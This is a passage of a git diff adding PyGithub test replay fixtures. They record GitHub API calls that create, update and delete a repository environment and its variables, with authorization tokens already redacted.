v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"73d57acaadb6db237c08b3cd25569aa2cc8d7e42f6331587660b3e7487ada6a5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE2B:5F56:ED8AEB:1EF379C:655F740C')] +{"id":1725311729,"node_id":"EN_kwDOKoE_5s5m1irx","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T15:31:37Z","updated_at":"2023-11-23T15:31:37Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} + +https +POST +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE2C:073C:FA9F0F:209713F:655F740C')] +{} + +https +PATCH +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables/variable_name +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value123"} +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2D:73C2:17EF09A:311CF21:655F740C')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables/variable_name +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:25 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2E:0819:10A255B:227BFDA:655F740C')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:25 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2F:0C70:FD3F4D:20E93E5:655F740D')] diff --git a/tests/ReplayData/Environment.testEnvironmentVariables.txt b/tests/ReplayData/Environment.testEnvironmentVariables.txt new file mode 100644 index 0000000000..953108cf32 --- /dev/null +++ b/tests/ReplayData/Environment.testEnvironmentVariables.txt @@ -0,0 +1,97 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE33:0953:FDEB7F:20F76FC:655F7411')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE34:12D2:4AB9B9:9AB591:655F7412')] +{"id":1725422866,"node_id":"EN_kwDOKoE_5s5m190S","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T15:47:30Z","updated_at":"2023-11-23T15:47:30Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} + +https +POST +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "VARIABLE_NAME_ONE", "value": "variable-value-one"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 